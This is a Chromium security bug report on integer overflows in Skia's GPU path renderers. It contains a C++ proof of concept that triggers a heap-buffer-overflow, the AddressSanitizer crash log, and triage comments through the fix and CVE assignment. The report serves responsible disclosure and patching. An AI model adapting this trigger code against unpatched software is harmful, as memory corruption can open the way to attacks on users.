New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 848716 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Last visit > 30 days ago
Closed: Jun 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: Multiple integer overflows in Skia GPU path rendering when computing vertex/idex count

Project Member Reported by ifratric@google.com, Jun 1 2018

Issue description

In Skia, there are multiple GPU path rendering algorithms (everything that inherits from GrPathRenderer). Most of these algorithms compute the number of vertices/indices the paths is going to need when rendered on the GPU and then allocate the vertex and index buffer based on these numbers. Since the vertex and index count is tracked in a 32-bit signed int, integer overflows (both addition and multiplication overflows) can occur on sufficiently large paths.

An example of a place where such an overflow can occur is
https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrAAConvexPathRenderer.cpp?type=cs&g=0&l=152&rcl=70132d0c73431320d4e637868e98d8b36da05eff
together with the other "*vCount +=" and "*iCount += " lines.
Reaching this requires a large amount of memory and time, but I did manage to hit it on my Google workstation (see the PoC and the ASan log below) so it is at least somewhat feasible.

Fortunately, I wasn't able to trigger it in web browsers because
 - Google Chrome enforces a memory limit
 - Firefox does not currently enable GPU acceleration for 2D canvas by default
However, both Chrome and Firefox settings could change in the future (there's actually an email thread right now about removing the memory limit in Chrome)

Other places where such integer overflows might occur in different algorithm:

- https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/GrTessellator.cpp?type=cs&g=0&l=2101&rcl=bfe959872ec7895d4aa6878a9fe189c37dffc99f
(this is called from GrTessellatingPathRenderer)

- https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrAALinearizingConvexPathRenderer.cpp?rcl=c57354418b70b4708cfaecbf97edad16f8da66b8&l=283
(if vertexCount + currentVertices overflows, the buffer won't be extended correctly)

- https://cs.chromium.org/chromium/src/third_party/skia/src/gpu/ops/GrSmallPathRenderer.cpp?g=0&l=355&rcl=b515ae7fa2119c19bb945d3960b4a11eda99ab02
(when multiplying kVerticesPerQuad and instanceCount, both are ints)

And possibly other places.

PoC:

=================================================================

#include <GL/glut.h>

#include "GrContext.h"
#include "gl/GrGLInterface.h"
#include "SkData.h"
#include "SkImage.h"
#include "SkStream.h"
#include "SkSurface.h"
#include "SkCanvas.h"

#include "SkPath.h"
#include "SkPaint.h"

int main(int argc, char** argv)
{
    int width = 500;
    int height = 500;

    glutInit(&argc, argv);
    glutInitWindowSize(width, height);
    glutCreateWindow("Hello world");

    sk_sp<GrGLInterface> interface = nullptr;
    sk_sp<GrContext> context = GrContext::MakeGL(interface);
    SkImageInfo info = SkImageInfo:: MakeN32Premul(width, height);
    sk_sp<SkSurface> gpuSurface(SkSurface::MakeRenderTarget(context.get(), SkBudgeted::kNo, info));
    if (!gpuSurface) {
        printf("SkSurface::MakeRenderTarget returned null\n");
        return 0;
    }
    SkCanvas* gpuCanvas = gpuSurface->getCanvas();
    if(!gpuCanvas) {
        printf("Error getting canvas\n");
        return 0;
    }

    SkPaint p;
    p.setAntiAlias(true);
    p.setStyle(SkPaint::kFill_Style);
    //p.setStyle(SkPaint::kStroke_Style);

    SkPath path;
    path.moveTo(0, 0);

    float oldx, x=0, dx;
    dx = 8.271806125530277e-25;
    for(int i=0;i<575000000;i++) {
      oldx = x;
      x += dx;
      if(x == oldx) {
        printf("%d %f\n", i, x);
        x = oldx;
        dx *= 2;
        continue;
      }
      path.lineTo(x, 0);
    }

    path.quadTo(0, 100, 0, 50); 

    printf("creating path done\n");

    gpuCanvas->drawPath(path, p);

    return 0;
}

=================================================================


ASan log:

=================================================================
==230668==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fa4941a2800 at pc 0x00000087f8f7 bp 0x7fff8fc5bab0 sp 0x7fff8fc5baa8
WRITE of size 2 at 0x7fa4941a2800 thread T0
    #0 0x87f8f6 in create_vertices(SkTArray<Segment, true> const&, SkPoint const&, unsigned int, SkTArray<Draw, true>*, QuadVertex*, unsigned short*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:412:22
    #1 0x87f8f6 in (anonymous namespace)::AAConvexPathOp::onPrepareDraws(GrMeshDrawOp::Target*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:924
    #2 0x818d6d in GrOp::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrOp.h:152:49
    #3 0x818d6d in GrRenderTargetOpList::onPrepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrRenderTargetOpList.cpp:88
    #4 0x7d8fc7 in GrOpList::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrOpList.cpp:84:11
    #5 0x7b69f0 in GrDrawingManager::executeOpLists(int, int, GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:299:22
    #6 0x7b5732 in GrDrawingManager::internalFlush(GrSurfaceProxy*, GrResourceCache::FlushType, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:220:23
    #7 0x7986c2 in GrDrawingManager::flush(GrSurfaceProxy*, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.h:101:22
    #8 0x7986c2 in GrContext::flush() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrContext.cpp:361
    #9 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:34:19
    #10 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:30
    #11 0x521e36 in main (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x521e36)
    #12 0x7fa4a673f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #13 0x42ded9 in _start (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x42ded9)

0x7fa4941a2800 is located 0 bytes to the right of 134217728-byte region [0x7fa48c1a2800,0x7fa4941a2800)
allocated by thread T0 here:
    #0 0x4e3520 in __interceptor_malloc (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x4e3520)
    #1 0x78dc68 in sk_malloc_flags(unsigned long, unsigned int) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/ports/SkMemory_malloc.cpp:69:13
    #2 0x102f6b0 in sk_calloc_throw(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../include/private/SkMalloc.h:63:12
    #3 0x102f6b0 in GrBufferAllocPool::resetCpuData(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:338
    #4 0x102f6b0 in GrBufferAllocPool::createBlock(unsigned long) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:315
    #5 0x102eb04 in GrBufferAllocPool::makeSpace(unsigned long, unsigned long, GrBuffer const**, unsigned long*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:173:16
    #6 0x1031246 in GrIndexBufferAllocPool::makeSpace(int, GrBuffer const**, int*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrBufferAllocPool.cpp:449:28
    #7 0x879d03 in (anonymous namespace)::AAConvexPathOp::onPrepareDraws(GrMeshDrawOp::Target*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:917:38
    #8 0x818d6d in GrOp::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrOp.h:152:49
    #9 0x818d6d in GrRenderTargetOpList::onPrepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrRenderTargetOpList.cpp:88
    #10 0x7d8fc7 in GrOpList::prepare(GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrOpList.cpp:84:11
    #11 0x7b69f0 in GrDrawingManager::executeOpLists(int, int, GrOpFlushState*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:299:22
    #12 0x7b5732 in GrDrawingManager::internalFlush(GrSurfaceProxy*, GrResourceCache::FlushType, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.cpp:220:23
    #13 0x7986c2 in GrDrawingManager::flush(GrSurfaceProxy*, int, GrBackendSemaphore*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDrawingManager.h:101:22
    #14 0x7986c2 in GrContext::flush() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrContext.cpp:361
    #15 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:34:19
    #16 0x7b24fc in GrDirectContext::~GrDirectContext() /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/GrDirectContext.cpp:30
    #17 0x521e36 in main (/usr/local/google/home/ifratric/p0/skia/test/a.out+0x521e36)
    #18 0x7fa4a673f2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)

SUMMARY: AddressSanitizer: heap-buffer-overflow /usr/local/google/home/ifratric/p0/skia/skia/out/asan2/../../src/gpu/ops/GrAAConvexPathRenderer.cpp:412:22 in create_vertices(SkTArray<Segment, true> const&, SkPoint const&, unsigned int, SkTArray<Draw, true>*, QuadVertex*, unsigned short*)
Shadow bytes around the buggy address:
  0x0ff51282c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff51282c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff51282c500:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff51282c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==230668==ABORTING


 
Components: Internals>Skia
Labels: Security_Severity-High Security_Impact-Stable
Owner: hcm@chromium.org
Status: Assigned (was: Unconfirmed)
I presume these are present in Chrome Stable. hcm: Please correct if necessary.
Ah, I missed this: "Google Chrome enforces a memory limit"

But keeping the label for now as the vulnerable code is there, but not currently accessible.
Project Member

Comment 3 by sheriffbot@chromium.org, Jun 2 2018

Labels: Target-67 M-67
Project Member

Comment 4 by sheriffbot@chromium.org, Jun 2 2018

Labels: Pri-1

Comment 5 by hcm@chromium.org, Jun 4 2018

Cc: bsalomon@chromium.org
Labels: Hotlist-Ganesh
Owner: egdaniel@chromium.org
Int overflows noted (though not sure about the impact-stable for code that is not accessible.. seems there is no impact to a release stream yet or could be argued impact-HEAD in case a change is made soon)

Over to our GPU team and current wrangler...
Project Member

Comment 7 by bugdroid1@chromium.org, Jun 8 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/67f3f0ce955fd170a3d471dc1458e8ca8d5984c5

commit 67f3f0ce955fd170a3d471dc1458e8ca8d5984c5
Author: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Date: Fri Jun 08 01:42:40 2018

Roll src/third_party/skia faef514..9f752aa (20 commits)

https://skia.googlesource.com/skia.git/+log/faef514..9f752aa


git log faef514..9f752aa --date=short --no-merges --format='%ad %ae %s'
2018-06-07 mtklein@chromium.org tweak SkArenaAlloc comments, parameter names
2018-06-07 caryclark@skia.org switch fiddle examples to call MakeFromTexture with RGBA
2018-06-07 brucewang@google.com SkFontMgr_DirectWrite::onMakeFromStreamArgs works on win 7
2018-06-07 mtklein@chromium.org remove unused stat tracking from SkArenaAlloc
2018-06-07 bungeman@google.com Defer Sample setup to onOnceBeforeDraw.
2018-06-07 egdaniel@google.com Revert "Require mips to be allocated at texture creation time and disable late allocations."
2018-06-07 skcms-skia-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com Roll skia/third_party/skcms 0fdd840..1be9889 (1 commits)
2018-06-07 jvanverth@google.com Revert "Change persp dftext to only antialiased"
2018-06-07 bsalomon@google.com Remove GrGLSLFragProcs typedef. Use unique_ptr to for GrGLSLFragmentProcessor ownership.
2018-06-07 egdaniel@google.com Require mips to be allocated at texture creation time and disable late allocations.
2018-06-07 bungeman@google.com Add SkTypeface::makeClone.
2018-06-07 mtklein@chromium.org remove "srgb" config from DM,nanobench
2018-06-07 khushalsagar@chromium.org fonts: Hook up FallbackTextHelper to font remoting.
2018-06-07 egdaniel@google.com Add checks to make sure we don't overflow 32 bit int in GPU path renderers.
2018-06-07 jvanverth@google.com Change persp dftext to only antialiased
2018-06-07 egdaniel@google.com Add guard around GrVkBackendContext::Create function.
2018-06-07 robertphillips@google.com Remove unused GrObjectMemoryPool
2018-06-07 angle-skia-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com Roll third_party/externals/angle2 2bd1fab..ea17575 (1 commits)
2018-06-07 mtklein@chromium.org require std::is_trivially_destructible
2018-06-07 brucewang@google.com Implement SkFontMgr_DirectWrite::onMakeFromStreamArgs function.


Created with:
  gclient setdep -r src/third_party/skia@9f752aa

The AutoRoll server is located here: https://autoroll.skia.org

Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md

If the roll is causing failures, please contact the current sheriff, who should
be CC'd on the roll, and stop the roller if necessary.

CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel

BUG= chromium:848716 
TBR=halcanary@chromium.org

Change-Id: I060ba6ef2896dfce86b931a3802da1cadac2758e
Reviewed-on: https://chromium-review.googlesource.com/1091812
Reviewed-by: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Commit-Queue: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Cr-Commit-Position: refs/heads/master@{#565506}
[modify] https://crrev.com/67f3f0ce955fd170a3d471dc1458e8ca8d5984c5/DEPS

Comment 8 by wfh@chromium.org, Jun 15 2018

Hello, is this bug fixed?
Status: Fixed (was: Assigned)
Ahh yes I believe it should be now.
Project Member

Comment 10 by sheriffbot@chromium.org, Jun 16 2018

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Project Member

Comment 11 by sheriffbot@chromium.org, Jun 18 2018

Labels: Merge-Request-68
Project Member

Comment 12 by sheriffbot@chromium.org, Jun 18 2018

Labels: -Merge-Request-68 Hotlist-Merge-Review Merge-Review-68
This bug requires manual review: DEPS changes referenced in bugdroid comments.
Please contact the milestone owner if you have questions.
Owners: cmasso@(Android), kariahda@(iOS), bhthompson@(ChromeOS), abdulsyed@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Please mark which OS's this is impacting to route the merge request appropriately. 
Because of the discussion in the beginning of this bug that the issue is not actually accessible in chrome, is there any reason for this to be merged back?
Cc: awhalley@chromium.org
Pls apply appropriate OSs label.

+awhalley@ for M68 merge review
Cc: palmer@chromium.org
Labels: -Merge-Review-68 Merge-Rejected-68
Accessible, but mitigated: I'm OK not merging but would be interested to hear from +palmer (FYI - reporter hit memory limit)

Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
We removed RLIMIT_AS, but we still have RLIMIT_DATA (https://chromium-review.googlesource.com/c/chromium/src/+/1097553/7/services/service_manager/sandbox/linux/sandbox_linux.cc), which should stop you from allocating more than 8 GiB of actual memory (as opposed to just address space) on 64-bit platforms. Does that still mitigate the problem, ifratric?
Labels: -M-67 -Target-67 M-69 Target-69
Labels: Release-0-M69
Labels: CVE-2018-16070 CVE_description-missing
Project Member

Comment 21 by sheriffbot@chromium.org, Sep 22

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment